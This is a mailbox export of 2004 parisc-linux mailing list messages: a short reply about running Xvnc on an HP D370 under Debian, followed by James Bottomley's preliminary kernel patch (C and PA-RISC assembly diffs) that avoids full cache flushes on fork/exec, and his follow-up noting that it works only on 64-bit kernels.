> On Fri, Apr 16, 2004 at 01:00:01PM +0200, Corn? Beerse wrote:
> 
>>Be noted that the Xvnc fron DebianWoody crashes on my HP-D370...
> 
> 
> Does the viewer from sid crash you box?

Since my D370 has no graphical display, the viewer will not work, i use the 
viewer on my desktop.

> Any idea why it crashes?

Not jet, not time to investigate, so many other things to do...

The idea to use Xvnc for the X11-server for display :0 just came since I did 
just that on a RedHatLinux server (hp DL380 ;) There it runs without a problem.

I think (well that will be my first step) is that the RedHatLinuxIntel box runs 
in runlevel 5, the graphical runlevel. The D370 is in its text-console runelvel. 
I think I need to force it in its graphical runlevel and convince the Xserver is 
properly configured, even without the hardware. For that I have to dive into 
Debian and its X11 configuration which (I have already seen) differs from 
RedHat, SuSE and HP-UX.

For what its worth, Xvnc can (for a start) just replace the other X11-server 
binary. Once that works (`vncviewer palinux:0` gives a login box), the call to 
Xvnc can be extended with some configuration like colordepth, resolution and 
security, see `Xvnc --help` for a list of options and the `vncserver` script for 
some other details.


CBee



From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] preliminary patches to speed up fork/exec
Date: 16 Apr 2004 11:59:11 -0500
Lines: 761
Approved: news@gmane.org
Message-ID: <1082134752.2357.21.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623382 8419 80.91.229.3 (22 Nov 2014 02:29:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:42 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Fri Apr 16 10:59:14 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 315CF4842
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Apr 2004 10:59:14 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3GGxCa24270 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Apr 2004 12:59:12 -0400
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Apr 2004 16:59:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21446

This is against 2.6.5-pa8 (there may be problems in 2.6.6-rc1 because of
the VM changes).

It's a very preliminary attempt to avoid our full cache flush on fork
penalties and implement a system to detect whether a particular page
needs flushing or not (aka stingy cache flushing).

I've stolen the FLUSH_PAGE bit for a combined I+D cache dirty bit (we're
out of bits, so, although I'd get better performance separating I and D
cache dirty, I can't do it without revamping our pte layout)...the flush
page bit is obsolete, since if we're ever clearing the pte of an
unflushed page, we've violated the VM principles (I've put a warn on
check in to look for this).

The patch doesn't do cutoff (i.e. if we have to flush a huge number of
pages, it would be better simply to flush the whole cache).

It could also be sped up by not flushing file backed pages on
flush_cache_mm unless we're the last mapper of the file.

WARNING: there's probably some missed flushing issues in this, so don't
trust critical data to it...

James

# This is a BitKeeper generated patch for the following project:
# Project Name: Linux kernel tree
# This patch format is intended for GNU patch command version 2.5 or higher.
# This patch includes the following deltas:
#	           ChangeSet	1.1792  -> 1.1795 
#	         mm/fremap.c	1.16    -> 1.18   
#	include/asm-parisc/cache.h	1.6     -> 1.7    
#	include/asm-parisc/page.h	1.5     -> 1.7    
#	arch/parisc/kernel/entry.S	1.14    -> 1.17   
#	arch/parisc/kernel/cache.c	1.12    -> 1.14   
#	         mm/memory.c	1.154   -> 1.156  
#	include/asm-parisc/tlb.h	1.1     -> 1.2    
#	arch/parisc/kernel/sys_parisc.c	1.17    -> 1.18   
#	include/asm-parisc/pgtable.h	1.16    -> 1.17   
#	include/asm-parisc/cacheflush.h	1.9     -> 1.11   
#	arch/parisc/kernel/signal.c	1.14    -> 1.15   
#
# The following is the BitKeeper ChangeSet Log
# --------------------------------------------
# 04/04/14	jejb@raven.il.steeleye.com	1.1790.1.1
# ICI
# --------------------------------------------
# 04/04/14	jejb@raven.il.steeleye.com	1.1793
# hand
# --------------------------------------------
# 04/04/15	jejb@raven.il.steeleye.com	1.1794
# First draft of working stingy cache flushing
# --------------------------------------------
# 04/04/16	jejb@raven.il.steeleye.com	1.1795
# More clean ups
# --------------------------------------------
#
diff -Nru a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
--- a/arch/parisc/kernel/cache.c	Fri Apr 16 11:50:51 2004
+++ b/arch/parisc/kernel/cache.c	Fri Apr 16 11:50:51 2004
@@ -230,6 +230,7 @@
 void __flush_dcache_page(struct page *page)
 {
 	struct list_head *l;
+	pte_t *pte;
 
 	flush_kernel_dcache_page(page_address(page));
 
@@ -260,9 +261,10 @@
 		 * have to find a congruent address with an existing
 		 * translation */
 
-		if (!translation_exists(mpnt, addr))
+		if (!(pte = translation_exists(mpnt, addr)))
 			continue;
 
+		pte_clear_flush(pte);
 		__flush_cache_page(mpnt, addr);
 
 		/* If we find an address to flush, that will also
@@ -293,15 +295,205 @@
 		/* This is just for speed.  If the page translation isn't
 		 * there there's no point exciting the nadtlb handler into
 		 * a nullification frenzy */
-		if(!translation_exists(mpnt, addr))
+		if(!(pte = translation_exists(mpnt, addr)))
 			continue;
 
+		pte_clear_flush(pte);
 		__flush_cache_page(mpnt, addr);
 
 		return;
 	}
 }
 EXPORT_SYMBOL(__flush_dcache_page);
+
+/* set to max pages to flush before a full flush.  Zero means no limit */
+#define MAX_FLUSH_PAGES 0
+#undef	DEBUG_PAGE_FLUSHING
+
+#ifdef DEBUG_PAGE_FLUSHING
+#define DBG(a...)	printk(a)
+#else
+#define DBG(...)
+#endif
+
+#if (MAX_FLUSH_PAGES != 0)
+
+/* we get to use the bottom 12 bits of the addr for flags since the
+ * address must be page aligned */
+#define ICACHE_FLUSH_FLAG	0x1
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long count = 0, actual_count = 0;
+	unsigned long sr3 = mfsp(3), cr25 = mfctl(25);
+	unsigned long *pages;
+
+	preempt_disable();
+	if(mm != current->active_mm) {
+		DBG("flush_tlb_mm: current MM is not active ");
+		/* FIXME: awful hack: move the process the mm belongs
+		 * to temporarily to being the active one.  This only
+		 * works because we can never get back into user
+		 * context from here. */
+		mtctl(__pa(mm->pgd), 25);
+		mtsp(mm->context, 3);
+	}
+
+	pages = kmalloc(MAX_FLUSH_PAGES * sizeof(unsigned long), GFP_ATOMIC);
+	if(!pages) {
+		printk(KERN_ERR "flush_tlb_mm: allocation failed: full flush\n");
+		goto full_flush;
+	}
+
+	for (vma = mm->mmap; vma != NULL; vma = vma->vm_next) {
+		unsigned long start;
+
+		pmd_t *pmd;
+		pgd_t *pgd;
+		pte_t *pte;
+
+		count += (vma->vm_end - vma->vm_start)/PAGE_SIZE;
+
+		for (start = vma->vm_start; start < vma->vm_end;
+		     start += PAGE_SIZE) {
+			pgd = pgd_offset(mm, start);
+
+			if (pgd_none(*pgd)) {
+				start = (start & PGDIR_MASK) + PGDIR_SIZE - PAGE_SIZE;
+				continue;
+			}
+
+			pmd = pmd_offset(pgd, start);
+			if (pmd_none(*pmd)) {
+				start = (start & PMD_MASK) + PMD_SIZE - PAGE_SIZE;
+				continue;
+			}
+			pte = pte_offset_map(pmd, start);
+			if(pte_val(*pte)==0 || !pte_present(*pte))
+				continue;
+
+			/* FIXME: Here we could also skip over any
+			 * shared mapping page (i.e. equivalently
+			 * aliased) with at least one other user */
+			
+			pages[actual_count] = start;
+		 
+			if (vma->vm_flags & VM_EXEC)
+				pages[actual_count] |= ICACHE_FLUSH_FLAG;
+			if(++actual_count >= MAX_FLUSH_PAGES)
+				goto full_flush_free;
+
+		}
+	}
+			
+	DBG("FLUSHED %lu (actual %lu)\n", count, actual_count);
+	for(count = 0; count < actual_count; count++) {
+		unsigned long addr = pages[count] & PAGE_MASK;
+		flush_user_dcache_page(addr);
+		if(pages[count] & ICACHE_FLUSH_FLAG) {
+			flush_user_icache_page(addr);
+			pitlb_user(addr);
+		}
+		pdtlb_user(addr);
+	}
+ out_free:
+	kfree(pages);
+ out:
+	mtsp(sr3, 3);
+	mtctl(cr25, 25);
+	preempt_enable();
+	return;
+
+ full_flush_free:
+	DBG("flush_cache_mm: over max pages %ld (count %ld), flushing everything\n", actual_count, count);
+	flush_cache_all();
+	goto out_free;
+
+ full_flush:
+	flush_cache_all();
+	goto out;
+}
+
+#else
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long count = 0, actual_count = 0;
+	unsigned long sr3 = mfsp(3), cr25 = mfctl(25);
+#if 1
+	static int flushed = 0;
+
+	if(unlikely(!flushed)) {
+		printk("flush_cache_mm: INIT FLUSH ALL\n");
+		flushed = 1;
+		flush_cache_all();
+		return;
+	}
+#endif
+	preempt_disable();
+	if(mm != current->active_mm) {
+		DBG("flush_tlb_mm: current MM is not active ");
+		/* FIXME: awful hack: move the process the mm belongs
+		 * to temporarily to being the active one.  This only
+		 * works because we can never get back into user
+		 * context from here. */
+		mtctl(__pa(mm->pgd), 25);
+		mtsp(mm->context, 3);
+	}
+
+	for (vma = mm->mmap; vma != NULL; vma = vma->vm_next) {
+		unsigned long start;
+
+		pmd_t *pmd;
+		pgd_t *pgd;
+		pte_t *pte;
+
+		count += (vma->vm_end - vma->vm_start)/PAGE_SIZE;
+
+		for (start = vma->vm_start; start < vma->vm_end;
+		     start += PAGE_SIZE) {
+			pgd = pgd_offset(mm, start);
+
+			if (pgd_none(*pgd)) {
+				start = (start & PGDIR_MASK) + PGDIR_SIZE - PAGE_SIZE;
+				continue;
+			}
+
+			pmd = pmd_offset(pgd, start);
+			if (pmd_none(*pmd)) {
+				start = (start & PMD_MASK) + PMD_SIZE - PAGE_SIZE;
+				continue;
+			}
+			pte = pte_offset_map(pmd, start);
+			if(pte_val(*pte)==0 || !pte_present(*pte))
+				continue;
+
+			if(!pte_flush(*pte))
+				continue;
+
+			/* FIXME: Here we could also skip over any
+			 * shared mapping page (i.e. equivalently
+			 * aliased) with at least one other user */
+			pte_clear_flush(pte);
+			flush_user_dcache_page(start);
+			if (vma->vm_flags & VM_EXEC) {
+				flush_user_icache_page(start);
+				pitlb_user(start);
+			}
+			pdtlb_user(start);
+			actual_count++;
+		}
+	}
+	mtsp(sr3, 3);
+	mtctl(cr25, 25);
+	preempt_enable();
+	DBG("FLUSHED %lu (actual %lu)\n", count, actual_count);
+}
+#endif
+
+EXPORT_SYMBOL(flush_cache_mm);
 
 /* Defined in arch/parisc/kernel/pacache.S */
 EXPORT_SYMBOL(flush_kernel_dcache_range_asm);
diff -Nru a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
--- a/arch/parisc/kernel/entry.S	Fri Apr 16 11:50:51 2004
+++ b/arch/parisc/kernel/entry.S	Fri Apr 16 11:50:51 2004
@@ -49,7 +49,6 @@
 	.level 2.0
 #endif
 
-	.import         pa_dbit_lock,data
 
 	/* space_to_prot macro creates a prot id from a space id */
 
@@ -1017,6 +1016,10 @@
 	or		t1,pte,t0	/* t0 has R bit set */
 	and,*<>         t1,pte,%r0      /* test and nullify if already set */
 	std             t0,0(ptp)       /* write back pte */
+	ldi		_PAGE_FLUSH,t1
+	or		t1,t0,t0
+	and,*<>		t1,pte,%r0
+	std		t0,0(ptp)
 
 	space_to_prot   spc prot        /* create prot id from space */
 	depd            pte,8,7,prot    /* add in prot bits from pte */
@@ -1093,7 +1096,7 @@
 	shladd           t0,3,ptp,ptp
 	ldi		_PAGE_ACCESSED,t1
 	ldd              0(ptp),pte
-	bb,>=,n          pte,_PAGE_PRESENT_BIT,nadtlb_check_flush_20w
+	bb,>=,n          pte,_PAGE_PRESENT_BIT,nadtlb_emulate
 
 	space_to_prot   spc prot        /* create prot id from space */
 	depd            pte,8,7,prot    /* add in prot bits from pte */
@@ -1112,23 +1115,6 @@
 	rfir
 	nop
 
-nadtlb_check_flush_20w:
-	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
-
-	/* Insert a "flush only" translation */
-
-	depdi,z         7,7,3,prot
-	depdi           1,10,1,prot
-
-	/* Get rid of prot bits and convert to page addr for idtlbt */
-
-	depdi		0,63,12,pte
-	extrd,u         pte,56,52,pte
-	idtlbt          pte,prot
-
-	rfir
-	nop
-
 #else
 
 dtlb_miss_11:
@@ -1514,6 +1500,10 @@
 	or		t1,pte,t0	/* t0 has R bit set */
 	and,*<>         t1,pte,%r0      /* test and nullify if already set */
 	std             t0,0(ptp)       /* write back pte */
+	ldi		_PAGE_FLUSH,t1
+	or		t1,t0,t0
+	and,*<>		t1,pte,%r0
+	std		t0,0(ptp)
 
 	space_to_prot   spc prot        /* create prot id from space */
 	depd            pte,8,7,prot    /* add in prot bits from pte */
diff -Nru a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
--- a/arch/parisc/kernel/signal.c	Fri Apr 16 11:50:51 2004
+++ b/arch/parisc/kernel/signal.c	Fri Apr 16 11:50:51 2004
@@ -375,10 +375,9 @@
 	}
 #endif
 
-	flush_user_dcache_range((unsigned long) &frame->tramp[0],
-			   (unsigned long) &frame->tramp[TRAMP_SIZE]);
-	flush_user_icache_range((unsigned long) &frame->tramp[0],
-			   (unsigned long) &frame->tramp[TRAMP_SIZE]);
+	__flush_cache_range(current->active_mm,
+			    (unsigned long) &frame->tramp[0],
+			    (unsigned long) &frame->tramp[TRAMP_SIZE]);
 
 	/* TRAMP Words 0-4, Lenght 5 = SIGRESTARTBLOCK_TRAMP
 	 * TRAMP Words 5-9, Length 4 = SIGRETURN_TRAMP
diff -Nru a/include/asm-parisc/cache.h b/include/asm-parisc/cache.h
--- a/include/asm-parisc/cache.h	Fri Apr 16 11:50:51 2004
+++ b/include/asm-parisc/cache.h	Fri Apr 16 11:50:51 2004
@@ -63,9 +63,11 @@
 extern int icache_stride;
 extern struct pdc_cache_info cache_info;
 
-#define pdtlb(addr)         asm volatile("pdtlb 0(%%sr1,%0)" : : "r" (addr));
-#define pitlb(addr)         asm volatile("pitlb 0(%%sr1,%0)" : : "r" (addr));
-#define pdtlb_kernel(addr)  asm volatile("pdtlb 0(%0)" : : "r" (addr));
+#define pdtlb(addr)         asm volatile("pdtlb 0(%%sr1,%0)" : : "r" (addr))
+#define pitlb(addr)         asm volatile("pitlb 0(%%sr1,%0)" : : "r" (addr))
+#define pdtlb_kernel(addr)  asm volatile("pdtlb 0(%0)" : : "r" (addr))
+#define pdtlb_user(addr)    asm volatile("pdtlb 0(%%sr3,%0)" : : "r" (addr))
+#define pitlb_user(addr)    asm volatile("pitlb 0(%%sr3,%0)" : : "r" (addr))
 
 #endif /* ! __ASSEMBLY__ */
 
diff -Nru a/include/asm-parisc/cacheflush.h b/include/asm-parisc/cacheflush.h
--- a/include/asm-parisc/cacheflush.h	Fri Apr 16 11:50:51 2004
+++ b/include/asm-parisc/cacheflush.h	Fri Apr 16 11:50:51 2004
@@ -9,11 +9,7 @@
 
 /* Cache flush operations */
 
-#ifdef CONFIG_SMP
-#define flush_cache_mm(mm) flush_cache_all()
-#else
-#define flush_cache_mm(mm) flush_cache_all_local()
-#endif
+extern void flush_cache_mm(struct mm_struct *);
 
 #define flush_kernel_dcache_range(start,size) \
 	flush_kernel_dcache_range_asm((start), (start)+(size));
@@ -33,50 +29,6 @@
 #define flush_cache_vmap(start, end)		flush_cache_all()
 #define flush_cache_vunmap(start, end)		flush_cache_all()
 
-/* The following value needs to be tuned and probably scaled with the
- * cache size.
- */
-
-#define FLUSH_THRESHOLD 0x80000
-
-static inline void
-flush_user_dcache_range(unsigned long start, unsigned long end)
-{
-#ifdef CONFIG_SMP
-	flush_user_dcache_range_asm(start,end);
-#else
-	if ((end - start) < FLUSH_THRESHOLD)
-		flush_user_dcache_range_asm(start,end);
-	else
-		flush_data_cache();
-#endif
-}
-
-static inline void
-flush_user_icache_range(unsigned long start, unsigned long end)
-{
-#ifdef CONFIG_SMP
-	flush_user_icache_range_asm(start,end);
-#else
-	if ((end - start) < FLUSH_THRESHOLD)
-		flush_user_icache_range_asm(start,end);
-	else
-		flush_instruction_cache();
-#endif
-}
-
-extern void __flush_dcache_page(struct page *page);
-
-static inline void flush_dcache_page(struct page *page)
-{
-	if (page->mapping && list_empty(&page->mapping->i_mmap) &&
-			list_empty(&page->mapping->i_mmap_shared)) {
-		set_bit(PG_dcache_dirty, &page->flags);
-	} else {
-		__flush_dcache_page(page);
-	}
-}
-
 #define flush_icache_page(vma,page)	do { flush_kernel_dcache_page(page_address(page)); flush_kernel_icache_page(page_address(page)); } while (0)
 
 #define flush_icache_range(s,e)		do { flush_kernel_dcache_range_asm(s,e); flush_kernel_icache_range_asm(s,e); } while (0)
@@ -88,31 +40,12 @@
 #define copy_from_user_page(vma, page, vaddr, dst, src, len) \
 	memcpy(dst, src, len)
 
-static inline void flush_cache_range(struct vm_area_struct *vma,
-		unsigned long start, unsigned long end)
-{
-	int sr3;
-
-	if (!vma->vm_mm->context) {
-		BUG();
-		return;
-	}
-
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
-	} else {
-		flush_cache_all();
-	}
-}
-
 /* Simple function to work out if we have an existing address translation
  * for a user space vma. */
-static inline int translation_exists(struct vm_area_struct *vma,
-				     unsigned long addr)
+static inline pte_t *__translation_exists(struct mm_struct *mm,
+					  unsigned long addr)
 {
-	pgd_t *pgd = pgd_offset(vma->vm_mm, addr);
+	pgd_t *pgd = pgd_offset(mm, addr);
 	pmd_t *pmd;
 	pte_t *pte;
 
@@ -121,16 +54,17 @@
 
 	pmd = pmd_offset(pgd, addr);
 	if(pmd_none(*pmd) || pmd_bad(*pmd))
-		return 0;
+		return NULL;
 
 	pte = pte_offset_map(pmd, addr);
 
 	/* The PA flush mappings show up as pte_none, but they're
 	 * valid none the less */
 	if(pte_none(*pte) && ((pte_val(*pte) & _PAGE_FLUSH) == 0))
-		return 0;
-	return 1;
+		return NULL;
+	return pte;
 }
+#define translation_exists(vma, addr)	__translation_exists((vma)->vm_mm, addr)
 

 /* Private function to flush a page from the cache of a non-current
@@ -157,8 +91,11 @@
 	mtsp(vma->vm_mm->context, 3);
 
 	flush_user_dcache_page(vmaddr);
-	if(vma->vm_flags & VM_EXEC)
+	if(vma->vm_flags & VM_EXEC) {
 		flush_user_icache_page(vmaddr);
+		pitlb_user(vmaddr);
+	}
+	pdtlb_user(vmaddr);
 
 	/* put the old current process back */
 	mtsp(space, 3);
@@ -171,8 +108,11 @@
 {
 	if (likely(vma->vm_mm->context == mfsp(3))) {
 		flush_user_dcache_page(vmaddr);
-		if (vma->vm_flags & VM_EXEC)
+		if (vma->vm_flags & VM_EXEC) {
 			flush_user_icache_page(vmaddr);
+			pitlb_user(vmaddr);
+		}
+		pdtlb_user(vmaddr);
 	} else {
 		flush_user_cache_page_non_current(vma, vmaddr);
 	}
@@ -181,11 +121,94 @@
 static inline void
 flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 {
+	pte_t *pte = translation_exists(vma, vmaddr);
+
 	BUG_ON(!vma->vm_mm->context);
 
-	if(likely(translation_exists(vma, vmaddr)))
+	if(likely(pte && !pte_flush(*pte))) {
+		pte_clear_flush(pte);
 		__flush_cache_page(vma, vmaddr);
+	}
+
+}
+
+/* The following value needs to be tuned and probably scaled with the
+ * cache size.
+ */
+
+#define FLUSH_THRESHOLD 0x80000
+
+static inline void
+__flush_cache_range(struct mm_struct *mm, unsigned long start,
+		    unsigned long end)
+{
+	unsigned long vaddr;
+	pte_t *pte;
+
+	/* small range, don't bother to flush the whole page (and
+	 * thus don't mark the page as flushed */
+	if (likely(end - start < PAGE_SIZE)) {
+		flush_user_dcache_range_asm(start,end);
+		flush_user_icache_range_asm(start,end);
+		return;
+	}
+
+	for (vaddr = start & PAGE_MASK; vaddr < end; vaddr += PAGE_SIZE) {
+		if(unlikely(!(pte = __translation_exists(mm, vaddr))))
+			continue;
+
+		if (unlikely(!pte_flush(*pte)))
+			continue;
+
+		pte_clear_flush(pte);
+		flush_user_dcache_page(vaddr);
+		flush_user_icache_page(vaddr);
+		pdtlb_user(vaddr);
+		pitlb_user(vaddr);
+	}
+}
 
+static inline void flush_cache_range(struct vm_area_struct *vma,
+				     unsigned long start, unsigned long end)
+{
+	unsigned long sr3 = mfsp(3);
+
+	BUG_ON(!vma->vm_mm->context);
+
+	if (likely(vma->vm_mm->context == sr3)) {
+		__flush_cache_range(vma->vm_mm, start, end);
+	} else {
+		unsigned long pgd = mfctl(25);
+		/* we don't mind taking interrups since they may not
+		 * do anything with user space, but we can't
+		 * be preempted here */
+		preempt_disable();
+
+		/* make us current */
+		mtctl(__pa(vma->vm_mm->pgd), 25);
+		mtsp(vma->vm_mm->context, 3);
+
+		__flush_cache_range(vma->vm_mm, start, end);
+
+		/* put the old current process back */
+		mtsp(sr3, 3);
+		mtctl(pgd, 25);
+		preempt_enable();
+
+	}
 }
+
+extern void __flush_dcache_page(struct page *page);
+
+static inline void flush_dcache_page(struct page *page)
+{
+	if (page->mapping && list_empty(&page->mapping->i_mmap) &&
+			list_empty(&page->mapping->i_mmap_shared)) {
+		set_bit(PG_dcache_dirty, &page->flags);
+	} else {
+		__flush_dcache_page(page);
+	}
+}
+
 #endif
 
diff -Nru a/include/asm-parisc/pgtable.h b/include/asm-parisc/pgtable.h
--- a/include/asm-parisc/pgtable.h	Fri Apr 16 11:50:51 2004
+++ b/include/asm-parisc/pgtable.h	Fri Apr 16 11:50:51 2004
@@ -29,15 +29,6 @@
  */
 #define kern_addr_valid(addr)	(1)
 
-/* Certain architectures need to do special things when PTEs
- * within a page table are directly modified.  Thus, the following
- * hook is made available.
- */
-#define set_pte(pteptr, pteval)                                 \
-        do{                                                     \
-                *(pteptr) = (pteval);                           \
-        } while(0)
-
 #endif /* !__ASSEMBLY__ */
 
 #define pte_ERROR(e) \
@@ -213,6 +204,15 @@
 #define __S110  PAGE_RWX
 #define __S111  PAGE_RWX
 
+/* Certain architectures need to do special things when PTEs
+ * within a page table are directly modified.  Thus, the following
+ * hook is made available.
+ */
+static inline void set_pte(pte_t *pteptr, pte_t pteval)
+{
+	*pteptr = pteval;
+}
+
 extern pgd_t swapper_pg_dir[]; /* declared in init_task.c */
 
 /* initial page tables for 0-8MB for kernel */
@@ -230,17 +230,16 @@
 
 #define ZERO_PAGE(vaddr) (virt_to_page(empty_zero_page))
 
-#define pte_none(x)     ((pte_val(x) == 0) || (pte_val(x) & _PAGE_FLUSH))
+#define pte_none(x)     ((pte_val(x) == 0))
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
-#define pte_clear(xp)	do { pte_val(*(xp)) = 0; } while (0)
+#define pte_clear_flush(xp)	do { pte_val(*(xp)) &= ~ _PAGE_FLUSH; } while(0)
+#define pte_flush(x)	(pte_val(x) & _PAGE_FLUSH)
 
 #define pmd_none(x)	(!pmd_val(x))
 #define pmd_bad(x)	((pmd_val(x) & ~PAGE_MASK) != _PAGE_TABLE)
 #define pmd_present(x)	(pmd_val(x) & _PAGE_PRESENT)
 #define pmd_clear(xp)	do { pmd_val(*(xp)) = 0; } while (0)
 
-
-
 #ifdef __LP64__
 #define pgd_page(pgd) ((unsigned long) __va(pgd_val(pgd) & PAGE_MASK))
 
@@ -282,6 +281,13 @@
 extern inline pte_t pte_mkyoung(pte_t pte)	{ pte_val(pte) |= _PAGE_ACCESSED; return pte; }
 extern inline pte_t pte_mkwrite(pte_t pte)	{ pte_val(pte) |= _PAGE_WRITE; return pte; }
 
+static inline void pte_clear(pte_t *xp) {
+	WARN_ON(pte_flush(*xp) && pte_user(*xp));
+	pte_val(*xp) = 0;
+}
+
+
+
 /*
  * Conversion functions: convert a page and protection to a page entry,
  * and a page entry and page directory to the page they refer to.
@@ -402,23 +408,12 @@
 #endif
 }
 
-#ifdef CONFIG_SMP
-extern spinlock_t pa_dbit_lock;
-#else
-static int pa_dbit_lock; /* dummy to keep the compilers happy */
-#endif
-
 static inline pte_t ptep_get_and_clear(pte_t *ptep)
 {
 	pte_t old_pte;
-	pte_t pte;
 
-	spin_lock(&pa_dbit_lock);
-	pte = old_pte = *ptep;
-	pte_val(pte) &= ~_PAGE_PRESENT;
-	pte_val(pte) |= _PAGE_FLUSH;
-	set_pte(ptep,pte);
-	spin_unlock(&pa_dbit_lock);
+	old_pte = *ptep;
+	pte_clear(ptep);
 
 	return old_pte;
 }
diff -Nru a/include/asm-parisc/tlb.h b/include/asm-parisc/tlb.h
--- a/include/asm-parisc/tlb.h	Fri Apr 16 11:50:51 2004
+++ b/include/asm-parisc/tlb.h	Fri Apr 16 11:50:51 2004
@@ -7,7 +7,7 @@
 } while (0)
 
 #define tlb_start_vma(tlb, vma) \
-do {	if (!(tlb)->fullmm)	\
+do {	\
 		flush_cache_range(vma, vma->vm_start, vma->vm_end); \
 } while (0)
 
diff -Nru a/mm/memory.c b/mm/memory.c
--- a/mm/memory.c	Fri Apr 16 11:50:51 2004
+++ b/mm/memory.c	Fri Apr 16 11:50:51 2004
@@ -1035,11 +1035,13 @@
 		int reuse = can_share_swap_page(old_page);
 		unlock_page(old_page);
 		if (reuse) {
-			flush_cache_page(vma, address);
+			//flush_cache_page(vma, address);
+			flush_dcache_page(old_page);
 			entry = maybe_mkwrite(pte_mkyoung(pte_mkdirty(pte)),
 					      vma);
 			ptep_establish(vma, address, page_table, entry);
 			update_mmu_cache(vma, address, entry);
+			//flush_kernel_dcache_page(page_address(pte_page(entry)));
 			pte_unmap(page_table);
 			spin_unlock(&mm->page_table_lock);
 			return VM_FAULT_MINOR;



From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] preliminary patches to speed up fork/exec
Date: 16 Apr 2004 12:08:02 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <1082135283.2130.23.camel@mulgrave>
References: <1082134752.2357.21.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623383 8422 80.91.229.3 (22 Nov 2014 02:29:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:43 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: James.Bottomley@SteelEye.com  Fri Apr 16 11:08:05 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5FE9A485A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Apr 2004 11:08:05 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3GH82a24662; Fri, 16 Apr 2004 13:08:03 -0400
In-Reply-To: <1082134752.2357.21.camel@mulgrave>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Apr 2004 17:08:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21447

On Fri, 2004-04-16 at 11:59, James Bottomley wrote:
> This is against 2.6.5-pa8 (there may be problems in 2.6.6-rc1 because of
> the VM changes).

The patch actually only works on a 64 bit kernel, currently, too.

James




From - Thu Nov 08 21:31:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
